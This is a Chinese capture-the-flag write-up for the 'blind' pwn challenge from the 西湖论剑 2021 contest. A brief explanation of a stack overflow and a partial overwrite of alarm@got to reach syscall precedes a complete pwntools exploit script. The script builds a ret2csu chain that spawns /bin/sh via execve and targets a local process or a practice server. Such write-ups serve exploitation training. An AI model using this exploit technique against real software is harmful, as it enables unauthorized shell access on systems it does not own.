西湖论剑2021

西湖论剑2021复现

blind

image-20211123122541089

image-20211123122731084

栈溢出，alarm@got调用了syscall，并且PIE没有开启，只要修改最后一个字节即可调用syscall。

/bin/sh写在bss段上，并且长度为59，即rax=59，调用exec

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 1
filename = 'blind'

if debug == 1 :
    p = process(filename)
if debug == 2:
    p = remote('node4.buuoj.cn',20002)
if debug == 3:
    p = remote('127.0.0.1',12345)
    #23946

elf = ELF(filename)
libc = elf.libc

read_got = elf.got['read']
alarm_got = elf.got['alarm']
bss_addr = 0x601088

def csu(function,rdi,rsi,rdx):
    payload = p64(0x4007Ba)
    payload += p64(0) + p64(1) + p64(function) + p64(rdx) + p64(rsi) + p64(rdi)
    payload += p64(0x4007A0) + 'a'*56
    return payload

# gdb.attach(p)
sleep(3)
payload = 'a'*0x58 
payload += csu(read_got,0,alarm_got,1)
payload += csu(read_got,0,0x601088,59)
payload += csu(alarm_got,0x601088,0,0)
p.sendline(payload)

sleep(0.5)
p.send('\x85')
sleep(0.5)
p.send('/bin/sh\x00'.ljust(59,'a'))

p.interactive()